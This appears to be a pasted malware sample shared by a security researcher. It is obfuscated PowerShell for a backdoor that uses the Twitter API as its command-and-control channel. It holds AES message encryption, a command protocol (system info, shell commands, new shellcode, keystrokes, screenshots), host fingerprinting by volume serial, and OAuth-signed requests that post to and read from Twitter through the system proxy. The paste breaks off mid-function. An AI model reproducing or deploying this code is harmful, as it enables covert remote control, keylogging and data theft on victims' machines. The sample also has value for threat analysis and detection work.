· 8 years ago · Dec 17, 2016, 04:58 PM
1#uploaded by @JohnLaTwC
2#dropped by d6a24707dde28a629e5de49ee9c781a806abcca2fd1b832cb3eeb79d903e48f3
3
4Function _/=\__/==\/\/\___/ {
5 Param (
6 [Parameter(Mandatory=$true)]
7 [string]${________/==\_/\/==},
8 [Parameter(Mandatory=$true)]
9 [string]${__/\_/=\/=\/=\__/\},
10 [Parameter(Mandatory=$true)]
11 [string]${_/==\_/\/=\_/=\/\/},
12 [Parameter(Mandatory=$true)]
13 [string]${__/\__/==\/=\/==\_},
14 [Parameter(Mandatory=$true)]
15 [ref]$Output
16 )
17 Process {
18 ${__/\/\/\__/\/====} = New-Object System.Security.Cryptography.AesManaged
19 ${__/\/\/\__/\/====}.Mode = [System.Security.Cryptography.CipherMode]::CBC
20 ${__/\/\/\__/\/====}.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
21 ${__/\/\/\__/\/====}.BlockSize = 128
22 ${__/\/\/\__/\/====}.KeySize = 256
23 ${__/=\_/==\_/\/\/\} = [Text.Encoding]::UTF8.GetBytes(${_/==\_/\/=\_/=\/\/})
24 ${/=\/\/\_/\__/\___} = [Text.Encoding]::UTF8.GetBytes(${__/\__/==\/=\/==\_})
25 ${__/=\_/==\_/\/\/\} = (New-Object Security.Cryptography.SHA1Managed).ComputeHash(${__/=\_/==\_/\/\/\})[0..15]
26 ${__/===\_/\/=\__/=} = (New-Object System.Security.Cryptography.Rfc2898DeriveBytes ${__/\_/=\/=\/=\__/\}, ${__/=\_/==\_/\/\/\}, 1).GetBytes(32)
27 ${__/\/\/\__/\/====}.Key = ${__/===\_/\/=\__/=}
28 ${/=\/\/\_/\__/\___} = (New-Object Security.Cryptography.SHA1Managed).ComputeHash(${/=\/\/\_/\__/\___})[0..15]
29 ${__/\/\/\__/\/====}.IV = ${/=\/\/\_/\__/\___}
30 ${_/==\__/\_/\/=\_/} = ${__/\/\/\__/\/====}.CreateEncryptor()
31 ${____/\___/==\/=\/} = new-Object IO.MemoryStream
32 ${/===\__/=\/\_/=\/} = new-Object Security.Cryptography.CryptoStream ${____/\___/==\/=\/}, ${_/==\__/\_/\/=\_/}, $('Write'))
33 ${__/\__/\_/==\__/=} = [Text.Encoding]::UTF8.GetBytes(${________/==\_/\/==})
34 ${/===\__/=\/\_/=\/}.Write(${__/\__/\_/==\__/=}, 0, ${__/\__/\_/==\__/=}.Length)
35 ${/===\__/=\/\_/=\/}.Close()
36 ${____/\___/==\/=\/}.Close()
37 ${__/\/\/\__/\/====}.Clear()
38 [byte[]]${___/=\/=\/\__/===\} = ${____/\___/==\/=\/}.ToArray()
39 $Output.Value = [Convert]::ToBase64String(${___/=\/=\/\__/===\})
40 Return
41 }
42 }
43 Function __/===\/========== {
44 Param (
45 [parameter(Mandatory=$true)]
46 [string]${___/=\/=\/\__/===\},
47 [Parameter(Mandatory=$true)]
48 [string]${__/\_/=\/=\/=\__/\},
49 [parameter(Mandatory=$true)]
50 [string]${_/==\_/\/=\_/=\/\/},
51 [parameter(Mandatory=$true)]
52 [string]${__/\__/==\/=\/==\_},
53 [Parameter(Mandatory=$true)]
54 [ref]$Output
55 )
56 Process {
57 ${/=\/=\/=\/\__/\__} = [Convert]::FromBase64String(${___/=\/=\/\__/===\})
58 ${__/\/\/\__/\/====} = New-Object System.Security.Cryptography.AesManaged
59 ${__/\/\/\__/\/====}.Mode = [System.Security.Cryptography.CipherMode]::CBC
60 ${__/\/\/\__/\/====}.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
61 ${__/\/\/\__/\/====}.BlockSize = 128
62 ${__/\/\/\__/\/====}.KeySize = 256
63 ${__/=\_/==\_/\/\/\} = [Text.Encoding]::UTF8.GetBytes(${_/==\_/\/=\_/=\/\/})
64 ${/=\/\/\_/\__/\___} = [Text.Encoding]::UTF8.GetBytes(${__/\__/==\/=\/==\_})
65 ${__/=\_/==\_/\/\/\} = (New-Object Security.Cryptography.SHA1Managed).ComputeHash(${__/=\_/==\_/\/\/\})[0..15]
66 ${__/===\_/\/=\__/=} = (New-Object System.Security.Cryptography.Rfc2898DeriveBytes ${__/\_/=\/=\/=\__/\}, ${__/=\_/==\_/\/\/\}, 1).GetBytes(32)
67 ${__/\/\/\__/\/====}.Key = ${__/===\_/\/=\__/=}
68 ${/=\/\/\_/\__/\___} = (New-Object Security.Cryptography.SHA1Managed).ComputeHash(${/=\/\/\_/\__/\___})[0..15]
69 ${__/\/\/\__/\/====}.IV = ${/=\/\/\_/\__/\___}
70 ${____/\/\_/==\/\_/} = new-Object IO.MemoryStream @(,${/=\/=\/=\/\__/\__})
71 ${/=\/\___/\_/=\_/=} = ${__/\/\/\__/\/====}.CreateDecryptor()
72 ${/===\__/=\/\_/=\/} = new-Object Security.Cryptography.CryptoStream ${____/\/\_/==\/\_/}, ${/=\/\___/\_/=\_/=}, $('Read'))
73 ${____/===\/======\} = new-Object IO.StreamReader ${/===\__/=\/\_/=\/}
74 $Output.value = ${____/===\/======\}.ReadToEnd()
75 ${____/===\/======\}.Close()
76 ${/===\__/=\/\_/=\/}.Close()
77 ${____/\/\_/==\/\_/}.Close()
78 ${__/\/\/\__/\/====}.Clear()
79 Return
80 }
81 }
82 Function New-ProtocolRequest {
83 param (
84 [parameter(Mandatory=$true)]
85 [ValidateSet('SYN', 'SYSINFO','INETINFO', 'CMD', 'RESTARTSHELLCODE', 'NEWSHELLCODE32', 'NEWSHELLCODE64', 'KEYSTROKES', 'SCREENSHOT', 'UNDEPLOY')]
86 [string]$Command,
87 [Parameter(Mandatory=$true)]
88 [string]$RequestID,
89 [Parameter()]
90 [string]$TargetID = '0000000000',
91 [parameter()]
92 [string]$Data,
93 [parameter(Mandatory=$true)]
94 [string]$Password,
95 [parameter(Mandatory=$true)]
96 [string]$MaxLength,
97 [Parameter(Mandatory=$true)]
98 [AllowEmptyCollection()]
99 [System.Collections.ArrayList]$Output
100 )
101 process {
102 ${_/\/\/\/=\_/=\/==} = $('1:1111111111:1111111111:111:111:'))
103 Switch -regex ($Command) {
104 $('^(SYN|SYSINFO|RESTARTSHELLCODE)$')) {
105 ${/===\_/\/\/\__/\/} = $Command
106 }
107 $('NEWSHELLCODE32')) {
108 ${/===\_/\/\/\__/\/} = $('NEWSHELLCODE32:')) + $Data
109 }
110 $('NEWSHELLCODE64')) {
111 ${/===\_/\/\/\__/\/} = $('NEWSHELLCODE64:')) + $Data
112 }
113 }
114 ${_/==\_/\/=\_/=\/\/} = $null
115 $null = __/=\__/======\/== -Output ([ref]${_/==\_/\/=\_/=\/\/})
116 ${_/\/====\/\/=====} = $null
117 $null = __/=\__/======\/== -Output ([ref]${_/\/====\/\/=====})
118 ${_/==\/=\__/\/\__/} = $null
119 $null = _/=\__/==\/\/\___/ -________/==\_/\/== ${/===\_/\/\/\__/\/} -__/\_/=\/=\/=\__/\ $Password -_/==\_/\/=\_/=\/\/ ${_/==\_/\/=\_/=\/\/} -__/\__/==\/=\/==\_ ${_/\/====\/\/=====} -Output ([ref]${_/==\/=\__/\/\__/})
120 ${__/\__/=\___/=\_/} = ${_/==\_/\/=\_/=\/\/} + ":"
121 ${__/\__/=\___/=\_/} += ${_/\/====\/\/=====} + ":"
122 ${__/\__/=\___/=\_/} += ${_/==\/=\__/\/\__/}
123 ${/=\_____/\/=\/=\/} = $MaxLength - ${_/\/\/\/=\_/=\/==}.Length
124 if (${/=\_____/\/=\/=\/} -le 0) {
125 Return $Null
126 }
127 ${___/======\_/\/\_} = New-Object System.Collections.ArrayList
128 $null = __/\________/\_/\/ -String ${__/\__/=\___/=\_/} -___/====\/==\_/==\ ${/=\_____/\/=\/=\/} -Output ${___/======\_/\/\_}
129 ${_/\/\___/\/==\_/\} = New-Object System.Collections.ArrayList
130 ${____/=\__/\______} = ${___/======\_/\/\_}.Count
131 ${____/\_/\/=\____/} = "0:"
132 ${____/\_/\/=\____/} += $TargetID + ":"
133 ${____/\_/\/=\____/} += $RequestID + ":"
134 if (${____/=\__/\______} -eq 1) {
135 ${_/\/\/\/=\_/=\/==} = ${____/\_/\/=\____/}
136 ${_/\/\/\/=\_/=\/==} += $('001:001:'))
137 ${_/\/\/=\_/=\/==\_} = ${_/\/\/\/=\_/=\/==} + ${___/======\_/\/\_}
138 ${_/\/\___/\/==\_/\}.Add(${_/\/\/=\_/=\/==\_})
139 } else {
140 ${_/\/=\/==\____/\/} = 1
141 ${/==\/===\/===\/=\} = $('{0:D3}')) -f ${____/=\__/\______}
142 while (${_/\/=\/==\____/\/} -le ${____/=\__/\______}) {
143 ${/===\/\__/\/=\/\/} = $('{0:D3}')) -f ${_/\/=\/==\____/\/}
144 ${_/\/\/\/=\_/=\/==} = ${____/\_/\/=\____/}
145 ${_/\/\/\/=\_/=\/==} += ${/===\/\__/\/=\/\/} + ":" + ${/==\/===\/===\/=\} + ":"
146 ${_/\/\/=\_/=\/==\_} = ${_/\/\/\/=\_/=\/==} + ${___/======\_/\/\_}[${_/\/=\/==\____/\/} - 1]
147 ${_/\/\___/\/==\_/\}.Add(${_/\/\/=\_/=\/==\_})
148 ${_/\/=\/==\____/\/} +=1
149 }
150 }
151 $Output.AddRange(${_/\/\___/\/==\_/\})
152 Return
153 }
154 }
155 Function _/==\__/=\_/\/\/\_ {
156 [CmdletBinding()]
157 Param (
158 [Parameter(Mandatory=$true)]
159 [string]${_/==\/==\___/\/\_/},
160 [Parameter()]
161 [string]${____/==\___/\__/=\} = '0000000000',
162 [Parameter(Mandatory=$true)]
163 [string]$Password,
164 [Parameter(Mandatory=$true)]
165 [string]$MaxLength,
166 [Parameter(Mandatory=$true)]
167 [bool]${__/=\/=\_/\__/==\/},
168 [Parameter(Mandatory=$true)]
169 [AllowEmptyCollection()]
170 [System.Collections.ArrayList]$Output
171 )
172 Process {
173 ${_/\/\/\/=\_/=\/==} = $('1:xxxxxxxxxx:0000000000:xxx:xxx:'))
174 ${_/==\_/\/=\_/=\/\/} = $null
175 $null = __/=\__/======\/== -Output ([ref]${_/==\_/\/=\_/=\/\/})
176 ${_/\/====\/\/=====} = $null
177 $null = __/=\__/======\/== -Output ([ref]${_/\/====\/\/=====})
178 ${_/==\/=\__/\/\__/} = $null
179 $null = _/=\__/==\/\/\___/ -________/==\_/\/== ${_/==\/==\___/\/\_/} -__/\_/=\/=\/=\__/\ $Password -_/==\_/\/=\_/=\/\/ ${_/==\_/\/=\_/=\/\/} -__/\__/==\/=\/==\_ ${_/\/====\/\/=====} -Output ([ref]${_/==\/=\__/\/\__/})
180 If (${__/=\/=\_/\__/==\/}) {
181 ${_/==\/=\__/\/\__/} = [System.Uri]::EscapeDataString(${_/==\/=\__/\/\__/})
182 }
183 ${__/\__/=\___/=\_/} = ${_/==\_/\/=\_/=\/\/} + ":"
184 ${__/\__/=\___/=\_/} += ${_/\/====\/\/=====} + ":"
185 ${__/\__/=\___/=\_/} += ${_/==\/=\__/\/\__/}
186 ${/=\_____/\/=\/=\/} = $MaxLength - ${_/\/\/\/=\_/=\/==}.Length
187 if (${/=\_____/\/=\/=\/} -le 0) {
188 Return $Null
189 }
190 ${___/======\_/\/\_} = New-Object System.Collections.ArrayList
191 $null = __/\________/\_/\/ -String ${__/\__/=\___/=\_/} -___/====\/==\_/==\ ${/=\_____/\/=\/=\/} -Output ${___/======\_/\/\_}
192 ${____/=\/\__/==\/=} = $null
193 _/======\/\_/=\_/\ -Output ([ref]${____/=\/\__/==\/=})
194 ${____/\_/\/=\____/} = "1"
195 ${____/\_/\/=\____/} += ":" + ${____/=\/\__/==\/=}
196 ${____/\_/\/=\____/} += ":" + ${____/==\___/\__/=\} + ":"
197 ${_/\/\___/\/==\_/\} = New-Object System.Collections.ArrayList
198 ${____/=\__/\______} = ${___/======\_/\/\_}.Count
199 if (${____/=\__/\______} -eq 1) {
200 ${_/\/\/\/=\_/=\/==} = ${____/\_/\/=\____/}
201 ${_/\/\/\/=\_/=\/==} += $('001:001:'))
202 ${_/\/\/=\_/=\/==\_} = ${_/\/\/\/=\_/=\/==} + ${___/======\_/\/\_}
203 ${_/\/\___/\/==\_/\}.Add(${_/\/\/=\_/=\/==\_})
204 } else {
205 ${_/\/=\/==\____/\/} = 1
206 ${/==\/===\/===\/=\} = $('{0:D3}')) -f ${____/=\__/\______}
207 while (${_/\/=\/==\____/\/} -le ${____/=\__/\______}) {
208 ${/===\/\__/\/=\/\/} = $('{0:D3}')) -f ${_/\/=\/==\____/\/}
209 ${_/\/\/\/=\_/=\/==} = ${____/\_/\/=\____/}
210 ${_/\/\/\/=\_/=\/==} += ${/===\/\__/\/=\/\/} + ":" + ${/==\/===\/===\/=\} + ":"
211 ${_/\/\/=\_/=\/==\_} = ${_/\/\/\/=\_/=\/==} + ${___/======\_/\/\_}[${_/\/=\/==\____/\/} - 1]
212 ${_/\/\___/\/==\_/\}.Add(${_/\/\/=\_/=\/==\_})
213 ${_/\/=\/==\____/\/} +=1
214 }
215 }
216 $Output.AddRange(${_/\/\___/\/==\_/\})
217 Return
218 }
219 }
220 function ___/=\_/====\/\___ {
221 [CmdletBinding()]
222 Param (
223 [Parameter(Mandatory=$true)]
224 [string]$Password,
225 [Parameter(Mandatory=$true)]
226 [ref]$Output
227 )
228 Process {
229 ${/===\__/\/====\/=} = $null
230 $null = ____/==\_/==\____/ -___/\_/\/\_/\/\/\/ basic -Output ([ref]${/===\__/\/====\/=})
231 ${_/\___/\/==\___/\} = New-Object System.Collections.ArrayList
232 $null = _/==\__/=\_/\/\/\_ -_/==\/==\___/\/\_/ ${/===\__/\/====\/=} -____/==\___/\__/=\ $('0000000000')) -Password $Password -MaxLength 140 -__/=\/=\_/\__/==\/ $true -Output ${_/\___/\/==\___/\}
233 If (${_/\___/\/==\___/\}.Count -gt 1) {
234 ${/===\__/\/====\/=} = $('ALIVE'))
235 $null = _/==\__/=\_/\/\/\_ -_/==\/==\___/\/\_/ ${/===\__/\/====\/=} -____/==\___/\__/=\ $('0000000000')) -Password $Password -MaxLength 140 -__/=\/=\_/\__/==\/ $true -Output ${_/\___/\/==\___/\}
236 }
237 $Output.Value = ${_/\___/\/==\___/\}[0]
238 Return
239 }
240 }
241 ${global:______/==\_/\____/} = $null
242 ${global:_____/====\____/\/} = $null
243 ${global:____/\______/\___/} = $null
244 ${global:_/==\/===\___/==\/} = $null
245 ${global:__/\_/\/=\/\/\/==\} = $null
246 Function __/=\_/====\______ {
247 Param (
248 [Parameter(Mandatory=$true)]
249 [ref]$Output
250 )
251 Process {
252 $Output.Value = $true
253 Return
254 }
255 }
256 Function __/===\__/=\_/=\/= {
257 Param (
258 [Parameter(Mandatory=$true)]
259 [string]${______/==\_/\____/},
260 [Parameter(Mandatory=$true)]
261 [string]${_____/====\____/\/},
262 [Parameter(Mandatory=$true)]
263 [string]${____/\______/\___/},
264 [Parameter(Mandatory=$true)]
265 [string]${_/==\/===\___/==\/},
266 [Parameter(Mandatory=$true)]
267 [string]${__/\_/\/=\/\/\/==\}
268 )
269 Process {
270 ${global:______/==\_/\____/} = ${______/==\_/\____/}
271 ${global:_____/====\____/\/} = ${_____/====\____/\/}
272 ${global:____/\______/\___/} = ${____/\______/\___/}
273 ${global:_/==\/===\___/==\/} = ${_/==\/===\___/==\/}
274 ${global:__/\_/\/=\/\/\/==\} = ${__/\_/\/=\/\/\/==\}
275 }
276 }
277 Function _/==\/\/==\/=\/==\ {
278 Param (
279 [Parameter(Mandatory=$true)]
280 [ValidateSet('user_timeline','update')]
281 [string]${_/==\__/\/\/=\/===},
282 [Parameter()]
283 [ValidateLength(1, 140)]
284 [string]${__/==\/====\_/\/=\},
285 [Parameter()]
286 [string]${__/\__/=\___/=\/=\},
287 [Parameter()]
288 [string]${______/==\_/\____/} = ${global:______/==\_/\____/},
289 [Parameter()]
290 [string]${_____/====\____/\/} = ${global:_____/====\____/\/},
291 [Parameter()]
292 [string]${____/\______/\___/} = ${global:____/\______/\___/},
293 [Parameter()]
294 [string]${_/==\/===\___/==\/} = ${global:_/==\/===\___/==\/},
295 [Parameter()]
296 [string]${__/\_/\/=\/\/\/==\} = ${global:__/\_/\/=\/\/\/==\},
297 [Parameter(Mandatory=$true)]
298 [ref] $Output
299 )
300 Begin {
301 $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop
302 Set-StrictMode -Version Latest
303 try {
304 [void][Reflection.Assembly]::LoadWithPartialName($('System.Security')))
305 [void][Reflection.Assembly]::LoadWithPartialName($('System.Net')))
306 } catch {
307 }
308 }
309 Process {
310 Try {
311 ${__/\___/\_/\/\_/=} = [String]::Join('', (1..32 | % { $('012345679abcdef')).ToCharArray() | Get-Random }))
312 ${____/\__/\_/\/=\/} = [System.DateTime]::UtcNow - [System.DateTime]::ParseExact($('01/01/1970')), $('dd/MM/yyyy')), $null)
313 ${_/\/===\/\_/\/\/\} = [System.Convert]::ToInt64(${____/\__/\_/\/=\/}.TotalSeconds).ToString();
314 ${/=\______/=\/\/==} = ${_____/====\____/\/}
315 ${/=\/\_/==\__/==\_} = ${_/==\/===\___/==\/}
316 ${/=\/===\/=\/===\_} = $('oauth_consumer_key%3D')) + ${/=\______/=\/\/==}
317 ${/=\/===\/=\/===\_} += $('%26oauth_nonce%3D')) + ${__/\___/\_/\/\_/=}
318 ${/=\/===\/=\/===\_} += $('%26oauth_signature_method%3DHMAC-SHA1'))
319 ${/=\/===\/=\/===\_} += $('%26oauth_timestamp%3D')) + ${_/\/===\/\_/\/\/\}
320 ${/=\/===\/=\/===\_} += $('%26oauth_token%3D')) + ${/=\/\_/==\__/==\_}
321 ${/=\/===\/=\/===\_} += $('%26oauth_version%3D1.0'))
322 Switch (${_/==\__/\/\/=\/===}) {
323 $('user_timeline')) {
324 ${/=\/===\/=\/===\_} = $('GET&https%3A%2F%2Fapi.twitter.com%2F1.1%2Fstatuses%2Fuser_timeline.json&count%3D200%26')) + ${/=\/===\/=\/===\_}
325 ${/=\/===\/=\/===\_} += $('%26since_id%3D')) + ${__/\__/=\___/=\/=\}
326 ${/=\/===\/=\/===\_} += $('%26trim_user%3Dtrue%26user_id%3D')) + ${______/==\_/\____/}
327 }
328 $('update')) {
329 ${/=\/===\/=\/===\_} = $('POST&https%3A%2F%2Fapi.twitter.com%2F1.1%2Fstatuses%2Fupdate.json&')) + ${/=\/===\/=\/===\_}
330 ${/=\/===\/=\/===\_} += $('%26status%3D')) + [System.Uri]::EscapeDataString(${__/==\/====\_/\/=\})
331 }
332 }
333 ${_/=\/=\/=\_/\____} = New-Object System.Security.Cryptography.HMACSHA1;
334 ${_/=\___/=\_/==\/\} = [System.Uri]::EscapeDataString(${____/\______/\___/}) + "&" + [System.Uri]::EscapeDataString(${__/\_/\/=\/\/\/==\});
335 ${_/=\/=\/=\_/\____}.Key = [System.Text.Encoding]::ASCII.GetBytes(${_/=\___/=\_/==\/\});
336 ${/=\/\____/\____/\} = [System.Convert]::ToBase64String(${_/=\/=\/=\_/\____}.ComputeHash([System.Text.Encoding]::ASCII.GetBytes(${/=\/===\/=\/===\_})));
337 ${___/\/=\/\_/=\/=\} = $('OAuth oauth_consumer_key="')) + ${/=\______/=\/\/==} + '"'
338 ${___/\/=\/\_/=\/=\} += $(', oauth_nonce="')) + ${__/\___/\_/\/\_/=} + '"'
339 ${___/\/=\/\_/=\/=\} += $(', oauth_signature="')) + [System.Uri]::EscapeDataString(${/=\/\____/\____/\}) + '"'
340 ${___/\/=\/\_/=\/=\} += $(', oauth_signature_method="HMAC-SHA1"'))
341 ${___/\/=\/\_/=\/=\} += $(', oauth_timestamp="')) + ${_/\/===\/\_/\/\/\} + '"'
342 ${___/\/=\/\_/=\/=\} += $(', oauth_token="')) + ${/=\/\_/==\__/==\_} + '"'
343 ${___/\/=\/\_/=\/=\} += $(', oauth_version="1.0"'))
344 $Output.Value = ${___/\/=\/\_/=\/=\}
345 Return
346 } Catch {
347 }
348 }
349 }
350 Function __/\_/==\_/\/\_/=\ {
351 Param (
352 [Parameter(Mandatory=$true)]
353 [ValidateLength(1, 140)]
354 [string]${__/==\/====\_/\/=\},
355 [Parameter(Mandatory=$true)]
356 [ref] $Output
357 )
358 Process {
359 ${__/==\____/==\_/\} = $('https://api.twitter.com/1.1/statuses/update.json'))
360 ${____/==\/=\____/=} = $null
361 $null = _/==\/\/==\/=\/==\ -__/==\/====\_/\/=\ ${__/==\/====\_/\/=\} -_/==\__/\/\/=\/=== update -Output ([ref]${____/==\/=\____/=})
362 ${/=\_/===\____/=\_} = $('status=')) + ${__/==\/====\_/\/=\}
363 ${__/\/=\_/\_/===\/} = [System.Text.Encoding]::ASCII.GetBytes(${/=\_/===\____/=\_})
364 ${_/\/===\_/=\/=\_/} = $('Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko'))
365 ${_/\/\_/===\/\/=\/} = $('application/x-www-form-urlencoded'))
366 ${_____/=\/==\_/\__} = New-Object System.Net.WebHeaderCollection
367 ${_____/=\/==\_/\__}.Add($('Authorization')),$ExecutionContext.InvokeCommand.ExpandString('${____/==\/=\____/=}')))
368 ${/=\__/==\_/\___/\} = [System.Net.WebRequest]::Create(${__/==\____/==\_/\})
369 ${/=\__/==\_/\___/\}.Method = $('POST'))
370 ${/=\__/==\_/\___/\}.UserAgent = ${_/\/===\_/=\/=\_/}
371 ${/=\__/==\_/\___/\}.Headers = ${_____/=\/==\_/\__}
372 ${/=\__/==\_/\___/\}.ContentType = ${_/\/\_/===\/\/=\/}
373 ${/=\/\/==\___/====} = [System.Net.WebRequest]::GetSystemWebProxy()
374 If (!${/=\/\/==\___/====}.IsBypassed(${__/==\____/==\_/\})) {
375 ${/=\/\/==\___/====}.Credentials = [System.Net.CredentialCache]::DefaultCredentials
376 ${/=\__/==\_/\___/\}.Proxy = ${/=\/\/==\___/====}
377 }
378 ${/==\___/\_/===\_/} = ${/=\__/==\_/\___/\}.GetRequestStream();
379 ${/==\___/\_/===\_/}.Write(${__/\/=\_/\_/===\/}, 0, ${__/\/=\_/\_/===\/}.Length);
380 ${/==\___/\_/===\_/}.Flush();
381 ${/==\___/\_/===\_/}.Close();
382 ${__/==\_/\_/\/\/==} = ${/=\__/==\_/\___/\}.GetResponse()
383 $Output.Value = ${__/==\_/\_/\/\/==}.StatusCode
384 ${/=\__/==\_/\___/\}.Abort()
385 Return
386 }
387 }
388 Function ___/\_____/\/=\___ {
389 Param (
390 [Parameter()]
391 [string]${__/\__/=\___/=\/=\} = "1",
392 [Parameter(Mandatory=$true)]
393 [ref] $Output
394 )
395 Process {
396 ${__/==\____/==\_/\} = $('https://api.twitter.com/1.1/statuses/user_timeline.json'))
397 ${____/==\/=\____/=} = $null
398 $null = _/==\/\/==\/=\/==\ -_/==\__/\/\/=\/=== user_timeline -__/\__/=\___/=\/=\ ${__/\__/=\___/=\/=\} -Output ([ref]${____/==\/=\____/=})
399 ${/\_____/\_/======} = $('count=200'))
400 ${/\_____/\_/======} += $('&since_id=')) + ${__/\__/=\___/=\/=\}
401 ${/\_____/\_/======} += $('&trim_user=true'))
402 ${/\_____/\_/======} += $('&user_id=')) + ${global:______/==\_/\____/}
403 ${__/\_/\_/===\/==\} = ${__/==\____/==\_/\} + "?" + ${/\_____/\_/======}
404 ${_/\/===\_/=\/=\_/} = $('Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko'))
405 ${_____/=\/==\_/\__} = New-Object System.Net.WebHeaderCollection
406 ${_____/=\/==\_/\__}.Add($('Authorization')),$ExecutionContext.InvokeCommand.ExpandString('${____/==\/=\____/=}')))
407 ${/=\__/==\_/\___/\} = [System.Net.WebRequest]::Create(${__/\_/\_/===\/==\})
408 ${/=\__/==\_/\___/\}.Method = $('GET'))
409 ${/=\__/==\_/\___/\}.UserAgent = ${_/\/===\_/=\/=\_/}
410 ${/=\__/==\_/\___/\}.Headers = ${_____/=\/==\_/\__}
411 ${/=\/\/==\___/====} = [System.Net.WebRequest]::GetSystemWebProxy()
412 If (!${/=\/\/==\___/====}.IsBypassed(${__/==\____/==\_/\})) {
413 ${/=\/\/==\___/====}.Credentials = [System.Net.CredentialCache]::DefaultCredentials
414 ${/=\__/==\_/\___/\}.Proxy = ${/=\/\/==\___/====}
415 }
416 ${__/==\_/\_/\/\/==} = ${/=\__/==\_/\___/\}.GetResponse()
417 ${___/\_/==\/\___/=} = new-object System.IO.StreamReader(${__/==\_/\_/\/\/==}.GetResponseStream())
418 $Output.Value = ${___/\_/==\/\___/=}.ReadToEnd()
419 ${___/\_/==\/\___/=}.Close()
420 ${__/==\_/\_/\/\/==}.Close()
421 ${/=\__/==\_/\___/\}.Abort()
422 Return
423 }
424 }
425 Function _/======\/\_/=\_/\ {
426 Param (
427 [Parameter(Mandatory=$true)]
428 [ref]$Output
429 )
430 Process {
431 $Output.Value = (Get-WmiObject Win32_Volume | Where { $_.SystemVolume -eq $('True'))}).SerialNumber
432 Return
433 }
434 }
435 Function __/=\__/======\/== {
436 Param (
437 [Parameter(Mandatory=$true)]
438 [ref]$Output
439 )
440 Process {
441 $Output.Value = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
442 Return
443 }
444 }
445 Function __/\________/\_/\/ {
446 Param (
447 [Parameter(Mandatory=$true)]
448 [string]$String,
449 [Parameter(Mandatory=$true)]
450 [UInt32]${___/====\/==\_/==\},
451 [Parameter(Mandatory=$true)]
452 [AllowEmptyCollection()]
453 [System.Collections.ArrayList]$Output
454 )
455 Process {
456 ${/==\/=\/\/=\/\_/\} = New-Object System.Collections.ArrayList
457 ${/==\_/\___/\/====} = ${___/====\/==\_/==\}
458 ${_/\______/\_/\/==} = $String.Length % ${___/====\/==\_/==\}
459 ${_/\/=\/==\____/\/} = 0
460 ${____/=\_/=\/\/\/\} = $String.Length - ${_/\______/\_/\/==}
461 While (${_/\/=\/==\____/\/} -lt ${____/=\_/=\/\/\/\}) {
462 ${/==\/=\/\/=\/\_/\}.Add($String.SubString(${_/\/=\/==\____/\/}, ${/==\_/\___/\/====}))
463 ${_/\/=\/==\____/\/} += ${/==\_/\___/\/====}
464 }
465 If (${_/\______/\_/\/==} -gt 0) {
466 ${/==\/=\/\/=\/\_/\}.Add($String.SubString(${_/\/=\/==\____/\/}, ${_/\______/\_/\/==}))
467 }
468 $Output.Clear()
469 $Output.AddRange(${/==\/=\/\/=\/\_/\})
470 Return
471 }
472 }
473 Function Get-JsonFromArray {
474 Param (
475 [Parameter(Mandatory=$true)]
476 [System.Collections.ArrayList]$ArrayList,
477 [Parameter(Mandatory=$true)]
478 [ref]$Output
479 )
480 Begin {
481 [void][System.Reflection.Assembly]::LoadWithPartialName($('System.Web.Extensions')))
482 }
483 Process {
484 ${/=\/==\___/==\/\/} = New-Object System.Web.Script.Serialization.JavaScriptSerializer
485 $Output.Value = ${/=\/==\___/==\/\/}.Serialize($ArrayList)
486 Return
487 }
488 }
489 Function __/=\__/\/==\/\__/ {
490 Param (
491 [Parameter(Mandatory=$true)]
492 [AllowEmptyString()]
493 [String]${____/\__/\/==\_/=\},
494 [Parameter(Mandatory=$true)]
495 [AllowEmptyCollection()]
496 [System.Collections.ArrayList]$Output
497 )
498 Begin {
499 [void][System.Reflection.Assembly]::LoadWithPartialName($('System.Web.Extensions')))
500 }
501 Process {
502 Try {
503 ${/=\/==\___/==\/\/} = New-Object System.Web.Script.Serialization.JavaScriptSerializer
504 ${___/\__/=\__/====} = ${/=\/==\___/==\/\/}.DeserializeObject(${____/\__/\/==\_/=\})
505 $Output.AddRange(${___/\__/=\__/====})
506 } Catch {}
507 Return
508 }
509 }
510 Function ____/\__/========\ {
511 Param (
512 [Parameter(Mandatory=$true)]
513 [ValidateNotNullOrEmpty()]
514 [String] ${_/==\/\_____/=\/\/},
515 [Parameter(Mandatory=$true)]
516 [ref] $Output
517 )
518 Process {
519 ${/=\_____/==\_____} = @()
520 Try {
521 If (${_/==\/\_____/=\/\/}.Length % 2 -eq 0) {
522 For (${_/\_/\/\/=\/\/=\_} = 0; ${_/\_/\/\/=\/\/=\_} -lt ${_/==\/\_____/=\/\/}.Length; ${_/\_/\/\/=\/\/=\_} += 2) {
523 ${________/\/==\/\/} = ${_/==\/\_____/=\/\/}[${_/\_/\/\/=\/\/=\_}] + ${_/==\/\_____/=\/\/}[${_/\_/\/\/=\/\/=\_} + 1]
524 ${/=\_____/==\_____} += [Convert]::ToByte(${________/\/==\/\/}, 16)
525 }
526 }
527 } Catch {}
528 $Output.Value = ${/=\_____/==\_____}
529 Return
530 }
531 }
532 Function Get-CompressedString ($String) {
533 ${____/\___/==\/=\/} = New-Object System.IO.MemoryStream
534 ${__/\/\_/=\/\_/=\_} = New-Object System.IO.Compression.GZipStream(${____/\___/==\/=\/}, [System.IO.Compression.CompressionMode]::Compress)
535 ${/==\_/=\__/\/\/\_} = New-Object System.IO.StreamWriter(${__/\/\_/=\/\_/=\_})
536 ${/==\_/=\__/\/\/\_}.Write($String)
537 ${/==\_/=\__/\/\/\_}.Close()
538 $Output = [System.Convert]::ToBase64String(${____/\___/==\/=\/}.ToArray())
539 Return $Output
540 }
541 function Get-DecompressedString ($Base64String) {
542 $Input = [System.Convert]::FromBase64String($Base64String)
543 ${____/\___/==\/=\/} = New-Object System.IO.MemoryStream
544 ${____/\___/==\/=\/}.Write($Input, 0, $Input.Length)
545 ${____/\___/==\/=\/}.Seek(0,0) | Out-Null
546 ${____/===\/======\} = New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream(${____/\___/==\/=\/}, [System.IO.Compression.CompressionMode]::Decompress))
547 $Output = ${____/===\/======\}.ReadToEnd();
548 Return $Output
549 }
550 Function ____/==\_/==\____/ {
551 [CmdletBinding()]
552 Param (
